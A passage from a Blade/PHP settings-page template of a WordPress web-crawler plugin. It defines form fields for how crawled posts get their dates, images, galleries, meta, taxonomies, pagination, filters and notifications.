you check this, all categories will be added under the category defined in the category URLs."), ]) {{-- DO NOT ADD THE CATEGORY DEFINED IN CATEGORY URLS --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CATEGORY_DO_NOT_ADD_CATEGORY_IN_MAP, 'title' => _wpcc('Do not add the category defined in the category URLs?'), 'info' => _wpcc("Check this if you do not want the post to have the category defined in the category URLs. This option will be applied only if at least one category is found by category name selectors."), ]) {{-- VIEWS FOR THE POST DETAIL OPTIONS. The views are registered in BasePostDetailFactory. --}} {!! $postDetailSettingsViews !!} {{-- SECTION: DATE --}} @include('partials.table-section-title', [ 'title' => _wpcc("Date"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_DATE, ]) {{-- POST DATE SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_DATE_SELECTORS, 'title' => _wpcc('Post Date Selectors'), 'info' => sprintf(_wpcc('CSS selectors for post date. E.g. <span class="highlight selector">[itemprop="datePublished"]</span>. If you give more than one selector, then the first match will be used. Found date will be parsed by %1$s function. So, if the date found by the selectors cannot be parsed properly, you need to use find-and-replace options to change the date into a suitable format. Generally, sites show the date via meta tags in a format like %2$s. This format will be parsed without any issues.'), '<a target="_blank" href="http://php.net/manual/en/function.strtotime.php">strtotime</a>', '<b>2017-02-27T05:00:17-05:00</b>' ), 'urlSelector' => $urlSelector, 'data' => [ 'targetCssSelectors' => [ 'meta[itemprop="datePublished"]', 'meta[itemprop="dateCreated"]', 'time.published', 'time.entry-date' ], ], 'defaultAttr' => 'content', 'optionsBox' => true, ]) {{-- TEST DATE --}} @include('form-items.combined.input-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_DATE, 'title' => _wpcc('Test Date'), 'info' => _wpcc('A date to be used to perform tests for the find-replace settings for dates.') ]) {{-- FIND AND REPLACE FOR DATES --}} @include('form-items.combined.multiple-find-replace-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_DATE, 'title' => _wpcc("Find and replace in dates"), 'info' => _wpcc('If you want some things to be replaced with some other things in <b>found post dates</b>, this is the place. The replacement will be done before parsing the date.'), 'data' => [ 'subjectSelector' => sprintf('#%s', \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_DATE), ], ]) {{-- MINUTES TO ADD TO THE DATE --}} @include('form-items.combined.input-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_DATE_ADD_MINUTES, 'title' => _wpcc('Minutes that should be added to the final date'), 'info' => sprintf(_wpcc('How many minutes should be added to the final date of the post. If the final date becomes greater than now, the post will be scheduled. If you write a negative number, it will be subtracted from the date. Write comma-separated numbers to randomize. You can write the same number multiple times to increase its chance to be selected. <b>This setting will be applied even if you do not supply any date selectors.</b> Example values: <b>%1$s</b> or <b>%2$s</b>'), "10", "10, -10, 25, 25, 25" ) ]) {{-- SECTION: META --}} @include('partials.table-section-title', [ 'title' => _wpcc("Meta"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_META, ]) {{-- SAVE META KEYWORDS --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_META_KEYWORDS, 'class' => 'label-meta', 'title' => _wpcc('Save meta keywords?'), 'info' => _wpcc('Check this if you want to save meta keywords of the target post.'), 'dependants' => '["#meta-keywords-as-tags"]' ]) {{-- ADD META KEYWORDS AS TAGS --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_META_KEYWORDS_AS_TAGS, 'class' => 'label-meta', 'title' => _wpcc('Add meta keywords as tags?'), 'info' => _wpcc('Check this if you want each meta keyword should be added as tag to the crawled post.'), 'id' => 'meta-keywords-as-tags', ]) {{-- SAVE META DESCRIPTION --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_META_DESCRIPTION, 'class' => 'label-meta', 'title' => _wpcc('Save meta description?'), 'info' => _wpcc('Check this if you want to save meta description of the target post.') ]) {{-- SECTION: FEATURED IMAGE --}} @include('partials.table-section-title', [ 'title' => _wpcc("Featured Image"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_FEATURED_IMAGE, ]) {{-- SAVE THUMBNAIL IMAGE --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_THUMBNAILS_IF_NOT_EXIST, 'class' => 'label-thumbnail', 'title' => _wpcc('Save featured image, if it is not found in category page?'), 'info' => _wpcc('If you want to save an image from post page as featured image, when there is no featured image found in category page, check this.'), 'dependants' => '[ "#post-thumbnail-selectors", "#post-thumbnail-test-url", "#post-thumbnail-find-replace" ]', ]) {{-- THUMBNAIL IMAGE SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_THUMBNAIL_SELECTORS, 'class' => 'label-thumbnail', 'title' => _wpcc('Featured Image Selectors'), 'info' => _wpcc('CSS selectors for featured image <b>in HTML of the post page</b>. This gets the "src" attribute of <b>the first found element</b>. If you give more than one selector, the first match will be used. E.g. <span class="highlight selector">img.featured</span>'), 'urlSelector' => $urlSelector, 'data' => [ 'targetTag' => 'img', ], 'inputClass' => 'css-selector', 'showDevTools' => true, 'defaultAttr' => 'src', 'optionsBox' => true, 'id' => 'post-thumbnail-selectors', ]) {{-- TEST THUMBNAIL IMAGE URL --}} @include('form-items.combined.input-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_THUMBNAIL_URL, 'class' => 'label-thumbnail', 'title' => _wpcc('Test Featured Image URL'), 'info' => _wpcc('A full image URL to be used to perform tests for the find-replace settings for featured image URL.'), 'id' => 'post-thumbnail-test-url', ]) {{-- FIND AND REPLACE FOR THUMBNAIL URL --}} @include('form-items.combined.multiple-find-replace-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_THUMBNAIL_URL, 'class' => 'label-thumbnail', 'title' => _wpcc("Find and replace in featured image URL"), 'info' => _wpcc('If you want some things to be replaced with some other things in <b>URL of the featured image</b>, this is the place. The replacement will be done before saving the image.'), 'data' => [ 'subjectSelector' => sprintf('#%s', \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_THUMBNAIL_URL), ], 'id' => 'post-thumbnail-find-replace', ]) {{-- SECTION: IMAGES --}} @include('partials.table-section-title', [ 'title' => _wpcc("Images"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_IMAGES, ]) {{-- SAVE ALL IMAGES IN CONTENT --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_ALL_IMAGES_IN_CONTENT, 'class' => 'label-save-images', 'title' => _wpcc('Save all images in the post content?'), 'info' => sprintf(_wpcc('If you want all the images in the post content to be saved as media and included in the post from your server, check this. <b>This is the same as checking "save images as media" and writing %1$s to the image selectors. </b>'), '<b><span class="highlight selector">img</span></b>' ) . " " . _wpcc_trans_save_image_note() ]) {{-- SAVE IMAGES AS MEDIA --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_IMAGES_AS_MEDIA, 'class' => 'label-save-images', 'title' => _wpcc('Save images as media?'), 'info' => _wpcc('If you want the images in the post content to be saved as media and included in the post from your server, check this.') . " " . _wpcc_trans_save_image_note(), 'dependants' => '[ "#post-save-images-as-gallery", "#post-image-selectors", "#post-image-add-link" ]' ]) {{-- SAVE IMAGES AS GALLERY --}} <tr id="post-save-images-as-gallery"> <td colspan="2"> {{-- INNER TABLE FOR GALLERY SETTINGS --}} <table class="wcc-settings"> {{-- SAVE IMAGES AS GALLERY --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_IMAGES_AS_GALLERY, 'class' => 'label-gallery', 'title' => _wpcc('Save images as gallery?'), 'info' => _wpcc('If you want to save specific images as a gallery, check this.'), 'dependants' => '[ "#post-gallery-image-selectors", "#post-gallery-save-as-woocommerce-gallery" ]' ]) {{-- GALLERY IMAGE SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_GALLERY_IMAGE_SELECTORS, 'class' => 'label-gallery', 'title' => _wpcc('Gallery Image URL Selectors'), 'info' => _wpcc('CSS selectors for <b>image URLs in the HTML of the page</b>. This gets the "src" attribute of specified element by default. If you give more than one selector, each match will be used when saving images and creating the gallery. Note that these elements will be removed from the HTML after URL is acquired from them.'), 'urlSelector' => $urlSelector, 'data' => [ 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_SELECTOR_ATTRIBUTE, 'attr' => 'src', 'targetTag' => 'img', 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR ], 'addonClasses' => 'wcc-test-selector', 'defaultAttr' => 'src', 'optionsBox' => true, 'id' => 'post-gallery-image-selectors', ]) {{-- SAVE IMAGES AS WOOCOMMERCE PRODUCT GALLERY --}} @if(class_exists("WooCommerce")) @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_IMAGES_AS_WOOCOMMERCE_GALLERY, 'class' => 'label-gallery', 'title' => _wpcc('Save images as WooCommerce product gallery?'), 'info' => _wpcc("If you set post type as WooCommerce product and you want to save the gallery as the product's gallery, check this."), 'id' => 'post-gallery-save-as-woocommerce-gallery', ]) @endif </table> </td> </tr> {{-- IMAGE SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_IMAGE_SELECTORS, 'class' => 'label-save-images', 'title' => _wpcc('Image URL Selectors'), 'info' => _wpcc('CSS selectors for images <b>in the post content</b>. This gets the "src" attribute of specified element. If you give more than one selector, each match will be used when saving images. E.g. <b><span class="highlight selector">img</span> will save all images in the post content.</b>'), 'urlSelector' => $urlSelector, 'data' => [ 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_SELECTOR_ATTRIBUTE, 'targetTag' => 'img', 'attr' => 'src', ], 'inputClass' => 'css-selector', 'showDevTools' => true, 'addonClasses' => 'wcc-test-selector', 'defaultAttr' => 'src', 'optionsBox' => true, 'id' => 'post-image-selectors', ]) {{-- TEST IMAGE URL --}} @include('form-items.combined.input-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_IMAGE_URLS, 'class' => 'label-save-images', 'title' => _wpcc('Test Image URL'), 'info' => _wpcc('A full image URL to be used to perform tests for the find-replace settings for image URLs.'), 'id' => 'post-image-test-url', ]) {{-- FIND AND REPLACE FOR IMAGE URLS --}} @include('form-items.combined.multiple-find-replace-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_IMAGE_URLS, 'class' => 'label-save-images', 'title' => _wpcc("Find and replace in image URLs"), 'info' => _wpcc('If you want some things to be replaced with some other things in <b>URLs of the found images</b>, this is the place. The replacement will be done before saving the image.'), 'data' => [ 'subjectSelector' => sprintf('#%s', \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_IMAGE_URLS), ], 'id' => 'post-image-find-replace', ]) {{-- SECTION: CUSTOM SHORT CODES --}} @include('partials.table-section-title', [ 'title' => _wpcc("Custom Short Codes"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_CUSTOM_SHORT_CODES, ]) {{-- CUSTOM CONTENT SELECTORS WITH SHORT CODES --}} @include('form-items.combined.multiple-custom-short-code-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_CONTENT_SHORTCODE_SELECTORS, 'title' => _wpcc('Custom Short Code Selectors'), 'info' => _wpcc('CSS selectors for HTML elements whose contents can be used in the post template via the defined short code. If more than one element is found, their content will be merged. If you do not want them merged, check the "single" checkbox to get the first found result. By default, this gets HTML of the found element. If you want the text of the target element, write "text" for attribute. You can also use any other attribute of the found element, such as "src", "href"... Write your short codes without brackets, e.g. <b>"item-price"</b>. Next, you can use it <b>in the post content template by writing [item-price]</b>'), 'urlSelector' => $urlSelector, 'optionsBox' => true, ]) {{-- FIND AND REPLACE IN CUSTOM SHORT CODES --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_CUSTOM_SHORT_CODE, 'title' => _wpcc("Find and replace in custom short codes"), 'info' => _wpcc('If you want some things to be replaced with some other things in <b>custom short code contents</b>, this is the place. <b>The replacements will be applied after custom short code contents are retrieved</b>.') . " " . _wpcc_trans_regex() ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/find-replace-in-custom-short-code', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_CUSTOM_SHORT_CODE, 'addKeys' => true, 'remove' => true, 'addon' => 'dashicons dashicons-search', 'data' => [ 'urlSelector' => $urlSelector, 'subjectSelector' => $testFindReplaceFirstLoadSelector, 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_FIND_REPLACE_IN_CUSTOM_SHORT_CODE, 'requiredSelectors' => "{$urlSelector} | {$testFindReplaceFirstLoadSelector}", // One of them is enough ], 'test' => true, 'addonClasses' => 'wcc-test-find-replace-in-custom-short-code' ]) @include('partials/test-result-container') </td> </tr> {{-- SECTION: LIST TYPE POSTS --}} @include('partials.table-section-title', [ 'title' => _wpcc("List Type Posts"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_LIST_TYPE_POSTS, ]) {{-- POSTS ARE LIST TYPE --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_IS_LIST_TYPE, 'class' => 'label-list', 'title' => _wpcc('Posts are list type?'), 'info' => _wpcc('If the target post is list type, and you want to import it as a list, check this.'), 'dependants' => '[ "#list-title-selector", "#list-content-selector", "#list-item-number-selectors", "#list-items-start-after-selectors", "#list-insert-reversed", "#list-item-auto-number" ]' ]) {{-- LIST ITEMS START AFTER SELECTOR --}} @include('form-items.combined.multiple-selector', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_ITEM_STARTS_AFTER_SELECTORS, 'class' => 'label-list', 'title' => _wpcc('List Items Start After Selectors'), 'info' => _wpcc("CSS selectors for the elements coming just before the first list item. This will be used to detect list item contents accurately. The position of the first match of any given selector will be compared to others and the greatest position will be used. You can give a selector for the first item. It'll do the job. E.g. <span class='highlight selector'>.entry > .list-item</span>"), 'urlSelector' => $urlSelector, 'data' => [ 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_FIRST_POSITION, 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::UNIQUE, ], 'inputClass' => 'css-selector', 'showDevTools' => true, 'id' => 'list-items-start-after-selectors', ]) {{-- LIST ITEM NUMBER SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_ITEM_NUMBER_SELECTORS, 'class' => 'label-list', 'title' => _wpcc('List Item Number Selectors'), 'info' => _wpcc("CSS selectors for each list item's number, if the target post is list type. This gets the text of specified element. If you give more than one selector, the first match will be used."), 'urlSelector' => $urlSelector, 'data' => [ 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR, ], 'inputClass' => 'css-selector', 'defaultAttr' => 'text', 'showDevTools' => true, 'id' => 'list-item-number-selectors' ]) {{-- LIST ITEM AUTO NUMBER --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_ITEM_AUTO_NUMBER, 'class' => 'label-list', 'title' => _wpcc('Insert list item numbers automatically?'), 'info' => _wpcc('If you want to insert list item numbers automatically when there is no item number, then check this. The items will be numbered starting from 1.'), 'id' => 'list-item-auto-number', ]) {{-- LIST ITEM TITLE SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_TITLE_SELECTORS, 'class' => 'label-list', 'title' => _wpcc('List Item Title Selectors'), 'info' => _wpcc("CSS selectors for each list item's title, if the target post is list type. This gets the text of specified element. If you give more than one selector, the first match will be used."), 'urlSelector' => $urlSelector, 'data' => [ 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR, ], 'inputClass' => 'css-selector', 'defaultAttr' => 'text', 'showDevTools' => true, 'id' => 'list-title-selector' ]) {{-- LIST ITEM CONTENT SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_CONTENT_SELECTORS, 'class' => 'label-list', 'title' => _wpcc('List Item Content Selectors'), 'info' => _wpcc("CSS selector for each list item's content, if the target post is list type. This gets the HTML of specified element. If you give more than one selector, the results will be combined when creating each list item's content."), 'urlSelector' => $urlSelector, 'data' => [ 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR, ], 'inputClass' => 'css-selector', 'defaultAttr' => 'html', 'showDevTools' => true, 'id' => 'list-content-selector' ]) {{-- LIST INSERT REVERSED --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_LIST_INSERT_REVERSED, 'class' => 'label-list', 'title' => _wpcc('Insert list in reverse order?'), 'info' => _wpcc('If you want to insert the list into the post in reverse order, then check this.'), 'id' => 'list-insert-reversed', ]) {{-- SECTION: PAGINATION --}} @include('partials.table-section-title', [ 'title' => _wpcc("Pagination"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_PAGINATION, ]) {{-- PAGINATE POSTS --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_PAGINATE, 'title' => _wpcc('Paginate posts?'), 'info' => _wpcc('If the target post is paginated, and you want it to be imported as paginated, check this.'), 'class' => 'label-paginate', 'dependants' => '["#post-next-page-url-selector", "#post-all-page-urls-selectors", "#post-save-as-single-page"]' ]) {{-- NEXT PAGE URL SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_NEXT_PAGE_URL_SELECTORS, 'title' => _wpcc('Next Page URL Selectors'), 'info' => _wpcc('CSS selector for next page URL, used to get "href" attribute of "a" tag. E.g. <span class="highlight selector">.pagination > a.next</span>. If you give more than one selector, the first match will be used.'), 'class' => 'label-paginate', 'urlSelector' => $urlSelector, 'data' => [ 'targetTag' => 'a', 'targetCssSelectors' => ['link[rel="next"]'], 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::UNIQUE, ], 'defaultAttr' => 'href', 'optionsBox' => true, 'id' => 'post-next-page-url-selector' ]) {{-- ALL PAGE URLS SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_NEXT_PAGE_ALL_PAGES_URL_SELECTORS, 'title' => _wpcc('All Page URLs Selectors'), 'info' => _wpcc('CSS selectors for all page URLs. Sometimes there is no next page URL. Instead, the post page has all of the post pages (or parts) in one place. If this is the case, you should use this. This is used to get "href" attribute of "a" tag. E.g. <span class="highlight selector">.post > .parts > a</span>. If you give more than one selector, then the first match will be used.'), 'class' => 'label-paginate', 'urlSelector' => $urlSelector, 'data' => [ 'targetTag' => 'a', 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR, ], 'defaultAttr' => 'href', 'optionsBox' => true, 'id' => 'post-all-page-urls-selectors' ]) {{-- SAVE AS SINGLE PAGE --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SAVE_AS_SINGLE_PAGE, 'title' => _wpcc('Save as single page?'), 'info' => _wpcc('If you want to collect all pages of the target post into a single page, check this. When this is checked, the saved post will have only one page containing the content of all of the pages of the target post.'), 'class' => 'label-paginate', 'id' => 'post-save-as-single-page', ]) {{-- SECTION: POST META --}} @include('partials.table-section-title', [ 'title' => _wpcc("Post Meta"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_POST_META, ]) {{-- CUSTOM META SELECTORS --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_META_SELECTORS, 'title' => _wpcc('Custom Meta Selectors'), 'info' => _wpcc('CSS selectors for custom meta values. You can use this to save anything from target post as post meta of to-be-saved post. You can write "html", "text", or an attribute of the target element for attribute input.') ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/selector-custom-post-meta', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_META_SELECTORS, 'addon' => 'dashicons dashicons-search', 'data' => [ 'urlSelector' => $urlSelector, 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_SELECTOR_ATTRIBUTE, 'attr' => 'text' ], 'test' => true, 'addKeys' => true, 'addonClasses' => 'wcc-test-selector-attribute', 'defaultAttr' => 'text', 'optionsBox' => true, ]) @include('partials/test-result-container') </td> </tr> {{-- CUSTOM META --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_META, 'title' => _wpcc('Custom Meta'), 'info' => _wpcc('You can save any value as a post meta. Just write a post meta key and its value.') ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/custom-post-meta', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_META, 'addKeys' => true, ]) @include('partials/test-result-container') </td> </tr> {{-- FIND AND REPLACE IN CUSTOM META --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_CUSTOM_META, 'title' => _wpcc("Find and replace in custom meta"), 'info' => _wpcc('If you want some things to be replaced with some other things in <b>custom meta values</b>, this is the place. <b>The replacements will be applied after find-and-replaces for element HTMLs are applied</b>.') . " " . _wpcc_trans_regex() ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/find-replace-in-custom-meta', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_FIND_REPLACE_CUSTOM_META, 'addKeys' => true, 'remove' => true, 'addon' => 'dashicons dashicons-search', 'data' => [ 'urlSelector' => $urlSelector, 'subjectSelector' => $testFindReplaceFirstLoadSelector, 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_FIND_REPLACE_IN_CUSTOM_META, 'requiredSelectors' => "{$urlSelector} | {$testFindReplaceFirstLoadSelector}" ], 'test' => true, 'addonClasses' => 'wcc-test-find-replace-in-custom-meta' ]) @include('partials/test-result-container') </td> </tr> {{-- SECTION: TAXONOMIES --}} @include('partials.table-section-title', [ 'title' => _wpcc("Taxonomies"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_TAXONOMIES, ]) {{-- CUSTOM TAXONOMY SELECTORS --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_TAXONOMY_SELECTORS, 'title' => _wpcc('Custom Taxonomy Value Selectors'), 'info' => _wpcc('CSS selectors for custom taxonomy values. You can use this to save anything from target post as taxonomy value of to-be-saved post. You can write "html", "text", or an attribute of the target element for attribute input. By default, the first found values will be used. If you want to use all values found by a CSS selector, check the multiple checkbox. If you want to append to any previously-existing values, check the append checkbox. Otherwise, the given value will remove all of the previously-existing values of its taxonomy.') ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/selector-custom-post-taxonomy', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_TAXONOMY_SELECTORS, 'addon' => 'dashicons dashicons-search', 'data' => [ 'urlSelector' => $urlSelector, 'testType' => \WPCCrawler\Test\Test::$TEST_TYPE_SELECTOR_ATTRIBUTE, 'attr' => 'text' ], 'test' => true, 'addKeys' => true, 'addonClasses' => 'wcc-test-selector-attribute', 'defaultAttr' => 'text', 'optionsBox' => true, ]) @include('partials/test-result-container') </td> </tr> {{-- CUSTOM TAXONOMY --}} <tr> <td> @include('form-items/label', [ 'for' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_TAXONOMY, 'title' => _wpcc('Custom Taxonomy Value'), 'info' => _wpcc('You can save any value as a value for a taxonomy. Just write a taxonomy and its value. If you want to append to any previously-existing values, check the append checkbox. Otherwise, the given value will remove all of the previously-existing values of its taxonomy.') ]) </td> <td> @include('form-items/multiple', [ 'include' => 'form-items/custom-post-taxonomy', 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CUSTOM_TAXONOMY, 'addKeys' => true, ]) @include('partials/test-result-container') </td> </tr> {{-- MANIPULATE HTML --}} @include('site-settings.partial.html-manipulation-inputs', [ "keyTestUrl" => \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_URL_POST, "keyFactory" => \WPCCrawler\Objects\Settings\Factory\HtmlManip\PostHtmlManipKeyFactory::getInstance(), ]) {{-- SECTION: UNNECESSARY ELEMENTS --}} @include('partials.table-section-title', [ 'title' => _wpcc("Unnecessary Elements"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_UNNECESSARY_ELEMENTS, ]) {{-- UNNECESSARY POST ELEMENT SELECTORS --}} @include('form-items.combined.multiple-selector', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_UNNECESSARY_ELEMENT_SELECTORS, 'title' => _wpcc('Unnecessary Element Selectors'), 'info' => _wpcc('CSS selectors for unwanted elements in the post page. Specified elements will be removed from the HTML of the page. Content extraction will be done after the page is cleared from unnecessary elements.'), 'urlSelector' => $urlSelector, 'inputClass' => 'css-selector', 'showDevTools' => true, ]) {{-- SECTION: FILTERS --}} @include('partials.table-section-title', [ 'title' => _wpcc("Filters"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_FILTERS, ]) {{-- POST REQUEST FILTERS --}} @include('form-items.combined.filter-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_REQUEST_FILTERS, 'title' => _wpcc('Post request filters'), 'info' => _wpcc('Define filters that are related to the requests made to crawl post pages.') . _wpcc_filter(true), 'eventGroup' => \WPCCrawler\Objects\Events\Enums\EventGroupKey::POST_REQUEST, 'filterClass' => 'request-filter', ]) {{-- POST PAGE FILTERS --}} @include('form-items.combined.filter-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_PAGE_FILTERS, 'title' => _wpcc('Post page filters'), 'info' => _wpcc('Define filters that will be applied in the post pages.') . _wpcc_filter(true), 'eventGroup' => \WPCCrawler\Objects\Events\Enums\EventGroupKey::POST_PAGE, 'filterClass' => 'page-filter', ]) {{-- SECTION: NOTIFICATIONS --}} @include('partials.table-section-title', [ 'title' => _wpcc("Notifications"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_NOTIFICATIONS, ]) {{-- EMPTY VALUE NOTIFICATION --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_NOTIFY_EMPTY_VALUE_SELECTORS, 'title' => _wpcc('CSS selectors for empty value notification'), 'info' => _wpcc('Write CSS selectors and their attributes you want to retrieve. If the retrieved value is empty, you will be notified via email. These CSS selectors will be tried to be retrieved after all replacements are applied.'), 'urlSelector' => $urlSelector, 'defaultAttr' => 'text', ]) {{-- SECTION: OTHER --}} @include('partials.table-section-title', [ 'title' => _wpcc("Other"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_OTHER, ]) {{-- TRIGGER SAVE_POST FUNCTION --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_TRIGGER_SAVE_POST_HOOK, 'title' => sprintf(_wpcc('Trigger %1$s hook'), 'save_post'), 'info' => sprintf( _wpcc('Check this if %1$s hook of WordPress must be triggered after a post is completely saved.' . ' Normally, after a post is saved, more information, such as post meta, taxonomies, and attachments,' . ' is added to the post, but the hook is not triggered. However, other plugins or the theme might be' . ' listening to the post updates to do certain things. If you check this, they will be notified' . ' after the post and all the related information are completely saved.'), "<span class='highlight'>save_post</span>" ), ]) <?php /** @var int $postId */ /** @var array $settings */ /** * Fires before closing table tag in post tab of site settings page. * * @param array $settings Existing settings and their values saved by user before * @param int $postId ID of the site * @since 1.6.3 */ do_action('wpcc/view/site-settings/tab/post', $settings, $postId); ?> </table>